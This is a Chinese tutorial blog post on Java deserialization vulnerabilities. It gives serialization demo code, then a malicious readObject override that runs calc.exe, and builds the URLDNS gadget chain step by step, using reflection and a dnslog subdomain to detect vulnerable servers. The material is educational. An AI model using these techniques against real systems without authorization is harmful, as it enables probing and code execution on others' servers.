Java反序列化漏洞原理

一、序列化和反序列化

​ Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。

本文章所有的Java代码均为导包,可自行Alt + Shift + Enter修复。

​ 下面先写一个简单的类:

// People.java
// 一个对象想要被序列化,那它一定是可序列化对象,故类要实现Serializable接口
public class People implements java.io.Serializable{
    // 定义三个类属性
    public String name;
    public String sex;
    public int age;
	
    // 构造方法
    public People(String name, String sex, int age) {
        this.name = name;
        this.sex = sex;
        this.age = age;
    }
}

再实现一个序列化和反序列的功能:

// SerializeDemo.java
public class SerializeDemo {
    // 将字节流转化为对象,即反序列化
    public static void DeSerialize(byte[] objStream) throws IOException, ClassNotFoundException {
        // 将字节数组转化为字节输入流
        ByteArrayInputStream bytesStream = new ByteArrayInputStream(objStream);
        // 放入ObjectInputStream对象中待序列化
        ObjectInputStream inStream = new ObjectInputStream(bytesStream);
        // 其实通过readObject就已经将字节流反序列化为对象,这里通过getClass()获取该类
        // 输出更直观一点
        System.out.println(inStream.readObject().getClass());
    }

    // 将对象转化为字节流,即序列化
    public static byte[] Serialize(Object obj) throws IOException {
        // 创建一个字节输出流对象
        ByteArrayOutputStream bytesStream = new ByteArrayOutputStream();
        // 并将字节输出流作为序列化时写入的位置
        ObjectOutputStream outputStream = new ObjectOutputStream(bytesStream);
        // 将传入的对象进行序列化
        outputStream.writeObject(obj);
        outputStream.close();

        // 将序列化后的字节流转化为字符串并输出
        System.out.println(bytesStream.toString());
        // 将字节流转化为字节数组并返回
        return bytesStream.toByteArray();
    }

    public static void main(String [] args) throws IOException, ClassNotFoundException {
        // 先实例化一个对象
        People people = new People("ZhangSan", "boy", 18);
        // 将对象先做序列化操作
        byte[] byteArray = Serialize(people);
        // 序列化返回的字节数组再进行反序列化
        DeSerialize(byteArray);

    }

}

我们运行一下可以看到序列化后的字节流以及反序列化后的对象,那为什么反序列化会被利用呢?

image

可以先按照其他漏洞来一起理解,为什么会存在SQL注入、为什么会存在XSS、为什么会存在SSRF等等,主要原因还是因为后端过于信任用户所输入的字符串,导致用户构造任意字符达成恶意攻击。那么同理,Java反序列化漏洞其原理也是因为对用户的输入没有做严格的过滤,导致用户可传入精心构造的字节流。

二、漏洞利用

1. 简单利用

我们可以创建一个恶意的可序列化类,并重写它的readObject方法:

// People.Java
// 再该文件下再添加一行readObject方法
private void readObject(ObjectInputStream objInputStream) throws IOException, ClassNotFoundException {
    // 先调用默认的反序列化方法,即readObject
    objInputStream.defaultReadObject();
    // 再执行自己的代码逻辑,例如执行系统命令
    Runtime.getRuntime().exec("calc.exe");
}

// 添加main函数执行主要代码逻辑
public static void main(String [] args) throws IOException, ClassNotFoundException {
    People people = new People("ZhangSan", "boy", 18);
    // 先序列化People对象
    byte[] byteStream = SerializeDemo.Serialize(people);
    // 再反序列化
    SerializeDemo.DeSerialize(byteStream);
}

可以看到成功弹出了计算器并且原本的逻辑正常,这就解释了为什么反序列化会被利用,但真实环境中其Java环境也不会存在这种类,故还需要结合其他方法一起利用。

image

2. 构造URLDNS链

​ 这种方法一般是用来检测是否存在反序列化漏洞,因为此链不需要依赖第三方包,也不限制jdk版本(还是限制的,JDK17后默认不支持对私有类成员的修改)。

​ 上面说过想要做反序列化,那这个对象一定是可序列化对象,即实现Serializable接口的类,若想构造URLDNS链,常用的是就是实例化一个HashMap<URL, String>对象。先查看HashMapreadObject(它自己重写了readObject方法),我们跟进这个hash方法

image

可以看到hash方法内又调用了key对象的hashCode方法

image

而我们的key选择的是URL对象,故找到URL中的hashCode方法进行查看,如果HashCode为为-1就调用另一个HashCode方法(HashCode初始化就是-1)。

image

image

再继续跟进handler.HashCode()方法中,可以看到里面调用了getHostAddress方法,即当我们创建了一个HashMap<URL, String>的对象并将其序列化字节流传入服务器进行反序列化时,就会通过getHostAddress方法对我们传入的子域名进行dns查询。

image

可以先尝试在main函数中编写以下代码:

public static void main(String [] args) throws IOException {
    // 创建一个HashMap,key设为URL对象,value随便设置啥类型都行
    HashMap<URL, String> hashMap = new HashMap<URL, String>();
    // 从dnslog平台获取一个子域名并先实例化一个URL对象
    URL url = new URL("http://zli1yc.dnslog.cn");
    // 按照上面创建的HashMap对象,填入一个键值对
    hashMap.put(url, "123");
}

运行上述代码你会发现你的dnslog平台已经出现了请求记录,但是我们并没有做反序列化操作。

image

我们先跟进put方法查看,发现put中也存在hash方法的调用,若这样就无法判断目标服务器是因为调用的put方法触发的,还是反序列化触发的。

image

故我们需要在put前就将URL实例化对象内的HashCode改为非-1,Java也提供了反射机制,可以动态构造任意类对象,已经修改类属性,将上述代码修改为如下所示:

public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
    // 创建一个HashMap,key设为URL对象,value随便设置啥类型都行
    HashMap<URL, String> hashMap = new HashMap<URL, String>();
    // 从dnslog平台获取一个子域名并先实例化一个URL对象
    URL url = new URL("http://zli1yc.dnslog.cn");
    // 获取URL类
    Class c = url.getClass();
    // 获取这个类的HhshCode属性,由于hashCode是私有属性,故用getDeclaredField获取
    Field hashCode = c.getDeclaredField("hashCode");
    // 要修改私有属性,必须要开启设置权限
    hashCode.setAccessible(true);
    // 将url对象中的hashCode的值修改为123
    hashCode.set(url, 123);
    // 按照上面创建的HashMap对象,填入一个键值对
    hashMap.put(url, "123");
    // put完要记得把url对象中的hashCode改会-1,好在反序列化时触发
    hashCode.set(url, -1);
    // 将其序列化
    SerializeDemo.Serialize(hashMap);
}

重新运行,这个时候dnslog就收不到dns请求,我们再向上述代码补充反序列化代码,并重新运行又能重新看到请求:

// 序列化并用一个字节数组接受
byte[] objStream = SerializeDemo.Serialize(hashMap);
// 将其反序列化
SerializeDemo.DeSerialize(objStream);

image

以上方法就是用来检测Java是否存在反序列化漏洞的URLDNS链。

在JDK17环境中默认情况下无法修改私有属性的值,故无法构造该链。

posted @ 2023-04-27 20:55  mlins  阅读(1548)  评论(0编辑  收藏  举报